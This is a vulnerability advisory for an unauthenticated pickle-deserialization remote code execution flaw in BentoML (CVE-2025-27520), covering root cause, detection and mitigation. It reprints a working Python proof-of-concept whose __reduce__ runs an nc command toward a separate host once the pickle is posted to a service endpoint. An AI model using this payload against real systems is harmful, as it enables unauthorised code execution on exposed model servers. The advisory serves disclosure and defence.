BentoML Unauthenticated Pickle Deserialization RCE

Product: BentoML BentoML
CVE: CVE-2025-27520
Disclosed: 2025-04-04
CVSS: 9.8
Auth: pre-auth
CISA KEV: no
Affected: BentoML >= 1.3.4, < 1.4.3
Fixed: 1.4.3

Summary

BentoML model-serving endpoints would unpickle any request body sent with a special content type. Any unauthenticated client could run code on the model server.

Root cause

serde.py deserialized request payloads with Content-Type application/vnd.bentoml+pickle using pickle.loads without restriction. A pickle whose __reduce__ returns os.system executes during deserialization, before the service handler runs.

Impact

Unauthenticated remote code execution on any exposed BentoML service.

Public PoC

import pickle, os, requests

headers = {'Content-Type': 'application/vnd.bentoml+pickle'}

class Evil:
    def __reduce__(self):
        return (os.system, ('nc 10.98.36.121 1234',))

payload = pickle.dumps(Evil())
requests.post('http://10.98.36.123:3000/summarize', data=payload, headers=headers)

Source: GHSA-33xw-247w-6hmc

Detection

Look for HTTP requests with Content-Type application/vnd.bentoml+pickle; check bentoml package versions.

Mitigation

Upgrade to 1.4.3+ and place model APIs behind authentication.